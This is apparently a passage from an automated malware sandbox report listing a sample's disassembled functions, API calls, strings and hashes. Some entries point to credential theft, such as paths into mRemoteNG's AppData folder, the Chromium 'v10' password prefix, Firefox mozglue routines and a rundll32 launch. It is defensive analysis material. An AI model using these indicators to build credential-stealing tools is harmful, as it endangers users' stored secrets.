Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 1a6099f47c5fb2c5d3d51114c99c51e85cd6f8b8ebfa9f41852f68f59b24c761
Instruction ID: 5f27f5349353c89824d7a1e3b609ad9450fc2ef1cf7ac6fab34f47bfeb15ed72
Opcode Fuzzy Hash: 1a6099f47c5fb2c5d3d51114c99c51e85cd6f8b8ebfa9f41852f68f59b24c761
Instruction Fuzzy Hash: 68D1EE75A183409FD724DF25C841B9FB7E5AFCA308F10492DE69987B91EB30E849CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00415960 Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(042C5FB0,?,?,?,0040F76C,?,042C5FB0,00000000), ref: 0041596C
lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\mRemoteNG\,042C5FB0,042C5FB0,?,0040F76C,?,042C5FB0), ref: 00415990
lstrlen.KERNEL32(?,?,0040F76C,?,042C5FB0), ref: 004159A7
wsprintfA.USER32 ref: 004159C7

Strings

%s%s, xrefs: 004159B5
C:\Users\user\AppData\Roaming\mRemoteNG\, xrefs: 0041598B, 004159C0, 004159D0

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\AppData\Roaming\mRemoteNG\
API String ID: 1206339513-307460461
Opcode ID: 145a19e204c32b80f721800f8dc263c6d3553908343d9ba3445ddbc103129e49
Instruction ID: ad4ab28855ecf1822f83189248f4f970b5300654cb1d5d0a0ffaf2e78bbea45f
Opcode Fuzzy Hash: 145a19e204c32b80f721800f8dc263c6d3553908343d9ba3445ddbc103129e49
Instruction Fuzzy Hash: 69015A75510908FFCB14DFA8D948EAE7BB9FF88344F108588F90A9B340CA71AA40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6CCDD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CCAEB57,?,?,?,?,?,?,?,?,?), ref: 6CCDD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CCAEB57,?), ref: 6CCDD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CCAEB57,?), ref: 6CCDD673
free.MOZGLUE(?), ref: 6CCDD888

Strings

|Enabled, xrefs: 6CCDD81E

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 2f31b05d7b98dac5497cc9a68886beab820681002b750c200c2c626bc9915895
Instruction ID: 8f6ed57265255b4e370a374b6aa1b51bdfd3069943f6b65d081541377c69d740
Opcode Fuzzy Hash: 2f31b05d7b98dac5497cc9a68886beab820681002b750c200c2c626bc9915895
Instruction Fuzzy Hash: C1A1F3B0E003549FDB11CF69C890BAEBBF1AF49318F15845CDA89AB741E735A845CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00410FA0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,042C7660,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

ShellExecuteEx.SHELL32(0000003C), ref: 00411307

Strings

"" , xrefs: 004111DC
C:\Windows\system32\rundll32.dll, xrefs: 004110BF
<, xrefs: 004112AC
.dll, xrefs: 00411054

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteFolderPathShellSystemTimelstrlen
String ID: "" $.dll$<$C:\Windows\system32\rundll32.dll
API String ID: 672783590-3078973353
Opcode ID: 6e7a0100c6f31bb2b4830e58b644d3e2cd34d3a7405b32bd71eb4f71f658ead2
Instruction ID: ff393b419b3d9cd89bf84e2a65158e8723a283ad60ef2a05342f0777a40cb69c
Opcode Fuzzy Hash: 6e7a0100c6f31bb2b4830e58b644d3e2cd34d3a7405b32bd71eb4f71f658ead2
Instruction Fuzzy Hash: 19A124759101089ACB15FB91DC92FDEB739AF14304F51425FE10666095EF38ABCACFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6CCDF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CCDF480

Part of subcall function 6CCAF100: LoadLibraryW.KERNEL32(shell32,?,6CD1D020), ref: 6CCAF122
Part of subcall function 6CCAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CCAF132

CloseHandle.KERNEL32(00000000), ref: 6CCDF555

Part of subcall function 6CCB14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CCB1248,6CCB1248,?), ref: 6CCB14C9
Part of subcall function 6CCB14B0: memcpy.VCRUNTIME140(?,6CCB1248,00000000,?,6CCB1248,?), ref: 6CCB14EF

Part of subcall function 6CCAEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CCAEEE3

CreateFileW.KERNEL32 ref: 6CCDF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CCDF523

Strings

\oleacc.dll, xrefs: 6CCDF4CB

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 68baf141a1d4970f6cc2000e40570e3076761e652cdcfaf03c36571707db60dc
Instruction ID: 06fb2fb2b0bf121239434a55d93ea19688d8230f3eca70fc445f44a9cbdaf0ac
Opcode Fuzzy Hash: 68baf141a1d4970f6cc2000e40570e3076761e652cdcfaf03c36571707db60dc
Instruction Fuzzy Hash: 30419C306187509FE720DF69C884A9AB7F4BF85318F100A1CF79193A90FB74E949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CD07526
__Init_thread_footer.LIBCMT ref: 6CD07566
__Init_thread_footer.LIBCMT ref: 6CD07597

Strings

kernel32.dll, xrefs: 6CD07557
UnmapViewOfFile2, xrefs: 6CD07552

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 940537c39c372979bd61973d602de8147fb9ac8d9b8fcced473d78d2f018a9f3
Instruction ID: fd656632d5bcc5a819d39db74677881288e1f57b8c9d046262b6e4810c71bc49
Opcode Fuzzy Hash: 940537c39c372979bd61973d602de8147fb9ac8d9b8fcced473d78d2f018a9f3
Instruction Fuzzy Hash: 09212531701510F7EB14AFAC8804E893779EB87329F12492CDB454BB50D739F806C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CD0C0E9), ref: 6CD0C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CD0C437
FreeLibrary.KERNEL32(?,6CD0C0E9), ref: 6CD0C44C

Strings

ntdll.dll, xrefs: 6CD0C413
NtQueryVirtualMemory, xrefs: 6CD0C431

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b71d9aec720801cb949a9a533c4ed9eeeac68cd481cd84636d11df6a9fcda3a6
Instruction ID: 60cc914f82b4f2eb324b6ea49b46ba05e14bcd338d43a4bf67c3f8da45c0212f
Opcode Fuzzy Hash: b71d9aec720801cb949a9a533c4ed9eeeac68cd481cd84636d11df6a9fcda3a6
Instruction Fuzzy Hash: 1FE092B8605311ABFB007F758A18715FAFCF746608F04491AEB4591661EBB8D0059B51

Uniqueness

Uniqueness Score: -1.00%

Function 6CD075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CD0748B,?), ref: 6CD075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CD075D7
FreeLibrary.KERNEL32(?,6CD0748B,?), ref: 6CD075EC

Strings

ntdll.dll, xrefs: 6CD075B3
RtlNtStatusToDosError, xrefs: 6CD075D1

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 46af4be65439f4e84093d542bcba1091a315a702f6d110585b2db28a7e87979c
Instruction ID: 53e325cf8ad2fba2c247e988a30c1a0742ec3e0ef7654cae7e80a279d4e23f69
Opcode Fuzzy Hash: 46af4be65439f4e84093d542bcba1091a315a702f6d110585b2db28a7e87979c
Instruction Fuzzy Hash: D1E0B671700315BBFF007FA6C848B017AFCEB06258F204825AB46D6A60EBBCD086CF10

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CD0BE49), ref: 6CD0BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CD0BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CD0BE49), ref: 6CD0BF38
RtlReAllocateHeap.NTDLL ref: 6CD0BF83
RtlFreeHeap.NTDLL(6CD0BE49,00000000), ref: 6CD0BFA6

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 65252e1c149bf768bf08350820224d60ce635e30f975b68de7b7e1b41a99f257
Instruction ID: ddc219d5a0c66e7119a7d6fd5e8284c735092f5cee7f5279a5c4c2b6e31ef275
Opcode Fuzzy Hash: 65252e1c149bf768bf08350820224d60ce635e30f975b68de7b7e1b41a99f257
Instruction Fuzzy Hash: 0651AD71B042019FE710CF68C980BAAB7A6FFC8314F294639D556A7BA4D731F9068F90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCA4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CCA4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CCA4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCA4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCA4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CCA4F1E

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 5680f145a6e5d17242da3304a01bfe86cc32522c9ccb4009889b30e5110a2d1c
Instruction ID: 8f53645e1a62ec9364ca56a67142ab881194c31901745150a9067b4cb9922e33
Opcode Fuzzy Hash: 5680f145a6e5d17242da3304a01bfe86cc32522c9ccb4009889b30e5110a2d1c
Instruction Fuzzy Hash: 7B41D1716087029FC701CFA9C88495BF7E4BF89344F109A2DF56687B41EB30E91ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040F200 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F228
strtok_s.MSVCRT ref: 0040F36D

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,042C3828,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: cca630b2f95f4e826e9a6c859236e500537583a630315fa027596be9967944d5
Instruction ID: 34556820f6e5338ba8e8a845a83fb71131f6fb13afd6d5a2f2d9a2f2ab0dc7f0
Opcode Fuzzy Hash: cca630b2f95f4e826e9a6c859236e500537583a630315fa027596be9967944d5
Instruction Fuzzy Hash: 4F514FB5A04209DFCB18CF54D595AAE7BB6FF48308F10817DE802AB390D734EA95CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004097F0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0040980B
memset.MSVCRT ref: 0040983E
LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,042C3828,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

@, xrefs: 00409847
v10, xrefs: 00409802

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocallstrlenmemcmpmemset
String ID: @$v10
API String ID: 1400469952-24753345
Opcode ID: 6fffcccd7e913edef19ca93c74df1373176caef86faec32c86a0297b7053f467
Instruction ID: 87859f0eaa1cac66c0422607c8296a2f5b7cfd88fdb957a476e5adb471fb7cf1
Opcode Fuzzy Hash: 6fffcccd7e913edef19ca93c74df1373176caef86faec32c86a0297b7053f467
Instruction Fuzzy Hash: 00414EB0A00208EBDB04DFA5DC55FDE7B75BF44304F108119F909AB295DB78AE85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 6CCB1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CCB152B,?,?,?,?,6CCB1248,?), ref: 6CCB159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CCB152B,?,?,?,?,6CCB1248,?), ref: 6CCB15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CCB152B,?,?,?,?,6CCB1248,?), ref: 6CCB15E7
free.MOZGLUE(?,?,?,?,?,?,6CCB152B,?,?,?,?,6CCB1248,?), ref: 6CCB1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CCB152B,?,?,?,?,6CCB1248,?), ref: 6CCB1637

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: d74ccd31b82efc6fdaa757d93f15b2af767aa43df041c78afc2e13418b4bb0b3
Instruction ID: d55a9fd79925f15f8c58d02a6f41d176bdb88db34d39fb0ccba591ab6cda04a9
Opcode Fuzzy Hash: d74ccd31b82efc6fdaa757d93f15b2af767aa43df041c78afc2e13418b4bb0b3
Instruction Fuzzy Hash: 3E31D672A005159BCB188EBCD9514AE77E9FB863747240B2DE423EBBD4FB30D9148791

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CD1E330,?,6CCCC059), ref: 6CD0AD9D

Part of subcall function 6CCBCA10: malloc.MOZGLUE(?), ref: 6CCBCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CD1E330,?,6CCCC059), ref: 6CD0ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CD1E330,?,6CCCC059), ref: 6CD0AE01
GetLastError.KERNEL32(?,00000000,?,?,6CD1E330,?,6CCCC059), ref: 6CD0AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CD1E330,?,6CCCC059), ref: 6CD0AE3D

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 84b47d1012d8a6c717b1de5564c70317cba577a6358b11c1e4a5b21ca4dc349a
Instruction ID: 0bd3cb1d94cf8d0c2da67fd8505dd6bdb963b07f5ea68b8b59bb162f2b661f29
Opcode Fuzzy Hash: 84b47d1012d8a6c717b1de5564c70317cba577a6358b11c1e4a5b21ca4dc349a
Instruction Fuzzy Hash: 3B3161B1A002159FDB10DF799C44AABB7F8EF49624F15882DE95AD7710F734E844CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD05EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CD1DCA0,?,?,?,6CCDE8B5,00000000), ref: 6CD05F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CCDE8B5,00000000), ref: 6CD05F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CCDE8B5,00000000), ref: 6CD05F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CCDE8B5,00000000), ref: 6CD05F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CCDE8B5,00000000), ref: 6CD05FD6

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: ba7da6e3579727c3010701c5760e2d0daf2bcddd1a86621886b0660dc4627262
Instruction ID: 3f128fb64c8a8d915eb13b30ffc3addcc9e199d3aa1a1f3995dcaad60f5b78de
Opcode Fuzzy Hash: ba7da6e3579727c3010701c5760e2d0daf2bcddd1a86621886b0660dc4627262
Instruction Fuzzy Hash: 7B311C34300600DFD710CF29C898E6ABBF9FF89319B648558EA56877A5DB79EC41CB84

Uniqueness

Uniqueness Score: -1.00%

Function 6CCAB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CCAB532
moz_xmalloc.MOZGLUE(?), ref: 6CCAB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCAB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CCAB57E
free.MOZGLUE(00000000), ref: 6CCAB58F

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

